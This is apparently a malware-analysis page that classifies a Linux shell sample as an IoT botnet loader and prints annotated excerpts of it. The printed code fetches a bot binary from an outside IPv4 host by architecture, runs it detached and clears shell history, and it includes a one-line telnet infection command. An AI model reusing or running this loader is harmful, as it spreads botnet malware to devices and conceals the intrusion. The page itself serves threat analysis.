Hostile 100% linux Download

21d12771b0406214.bin

IoT botnet loader with C2

Multi-architecture downloader force-cleans a variable pathMulti-architecture fallback downloader executes a variable stage
SHA-25621d12771b04062140c420c71cc83e87a79d2981706fcd2a22f21899ead7b11b4

Evidence

Shell command uses external IPv4 endpoint lines 1–9
1#!/bin/sh
2# ancient loader - detect the device, fetch the matching binary, run it.
3#
4# served at http://89.163.157.131:8080/load.sh
5#
6# designed to survive the mess that is real iot firmware:
7# - posix sh only, no bashisms (ash/dash/busybox sh all work)
8# - every downloader tried, because no two images ship the same one
9# - writes to a writable dir even when / is rea …
AArch64 (ARM64) architecture string lines 11–44
11:28… the telnet session does not kill the bot
12#
13# one line to run it from a telnet shell:
14# cd /tmp||cd /var/tmp||cd /dev/shm||cd /;wget -q http://HOST:8080/load.sh -O l.sh||curl -s http://HOST:8080/load.sh -o l.sh;sh l.sh;rm -f l.sh
15
16HOST=89.163.157.131
17PORT=8080
18
19# ── 1. which binary does this device need? ──────────────────────────
20# uname -m is the primary source, but some firmwares lie or omit it, so
21# we fall back to the kernel/arch hints busybox exposes.
22
23ARCH=$(uname -m 2>/dev/null)
24[ -z "$ARCH" ] && ARCH=$(cat /proc/cpuinfo 2>/dev/null | grep -m1 -i 'cpu architecture' | cut -d: -f2 | tr -d ' ')
25[ -z "$ARCH" ] && ARCH=$(cat /proc/cpuinfo 2>/dev/null | grep -m1 -iE '^(machine|model name|hardware)' | cut -d: -f2 | tr -d ' ')
26
27case "$ARCH" in
28 aarch64|arm64|armv8*|armv9*) BIN=arm8 ;;
29 armv7*|armv7l|armv7|armv7a|armv7r) BIN=arm7 ;;
30 armv6*|armv6l|armv6|armv6k) BIN=arm6 ;;
31 armv5*|armv5l|armv5tejl|armv5te|armv5el|armv5) BIN=arm5 ;;
32 armv4*|armv4l|armv4t|armv4) BIN=arm4 ;;
33 arm) BIN=arm4 ;;
34 mips64el|mips64) BIN=mips ;;
35 mipsel|mips*el|mpsl) BIN=mpsl ;;
36 mips|mips32) BIN=mips ;;
37 x86_64|amd64) BIN=x86_64 ;;
38 i[3-6]86|i86pc|x86|ia32) BIN=x86 ;;
39 m68k) BIN=m68k ;;
40 ppc64|ppc|powerpc64|powerpc) BIN=ppc ;;
41 sh4|sh4a|sh) BIN=sh4 ;;
42 sparc64|sparc) BIN=spc ;;
43 *)
44 # no usable arch s …
BusyBox wget applet invocation lines 45–92
45:4… # guess by what the filesystem looks like.
46 if [ -d /data/local/tmp ] || [ -x /system/bin/sh ]; then
47 BIN=arm7
48 else
49 BIN=mips
⋯4 lines
54# ── 2. where can we write? ──────────────────────────────────────────
55# / is read-only on most of these. walk a list of the usual writable spots
56# and use the first one that actually accepts a file.
57for d in /data/local/tmp /tmp /var/tmp /dev/shm /run/shm /mnt /var/run /; do
58 [ -d "$d" ] || continue
59 if touch "$d/.x$$" 2>/dev/null; then
60 rm -f "$d/.x$$" 2>/dev/null
61 DIR="$d"
62 break
⋯7 lines
70# each attempt is `client url -o out`. the order matters: busybox first
71# because it is present on almost every embedded image, then the standalone
72# tools, then toybox (android), then a raw socket as a last resort.
73try_url() {
74 _u="$1"
75 _o="$2"
76 [ -n "$_u" ] || return 1
77
78 if command -v busybox >/dev/null 2>&1; then
79 busybox wget -q -T 10 -O "$_o" "$_u" 2>/dev/null && return 0
80 busybox wget -q "$_u" -O "$_o" 2>/dev/null && return 0
81 busybox curl -s -L "$_u" -o "$_o" 2>/dev/null && return 0
82 fi
83 if command -v wget >/dev/null 2>&1; then
84 wget -q -T 10 -O "$_o" "$_u" 2>/dev/null && return 0
85 wget -q "$_u" -O "$_o" 2>/dev/null && return 0
86 fi
87 if command -v curl >/dev/null 2>&1; then
88 curl -s -L --max-time 20 "$_u" -o "$_o" 2>/dev/null && return 0
89 fi
90 if command -v toybox >/dev/null 2>&1; then
91 toybox wget -q -O "$_o" "$_u" 2>/dev/null && return 0
92 toybox curl -s "$_u" -o "$_o" 2>/dev/null && return 0
chmod marks a variable path executable lines 164–175
164:28… OUT" 2>/dev/null; exit 0; }
165
166# ── 4. run it ───────────────────────────────────────────────────────
167chmod 755 "$OUT" 2>/dev/null || chmod 777 "$OUT" 2>/dev/null
168
169# tag it so the panel groups it by how it arrived. the caller can override
170# it (e.g. "IDENT=geoserver sh .x") so one served script reports the
171# right vector for telnet, an rce, an adb drop, whatever.
172IDENT="${IDENT:-telnet}"
173
174# detach completely: setsid if present, else nohup, else plain background.
175# without t …
Shell clears command history lines 175–193
175:50… session closes.
176if command -v setsid >/dev/null 2>&1; then
177 setsid "$OUT" "$IDENT" >/dev/null 2>&1 &
178elif command -v nohup >/dev/null 2>&1; then
179 nohup "$OUT" "$IDENT" >/dev/null 2>&1 &
180else
181 "$OUT" "$IDENT" >/dev/null 2>&1 &
182fi
183
184# give it a moment to bind before the shell exits
185sleep 2
186
187# ── 5. clean up after ourselves ─────────────────────────────────────
188rm -f "$OUT" 2>/dev/null
189rm -f "$DIR/l.sh" 2>/dev/null
190history -c 2>/dev/null
191unset HISTORY HISTFILE HISTSAVE HISTZONE 2>/dev/null
192
193exit 0

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.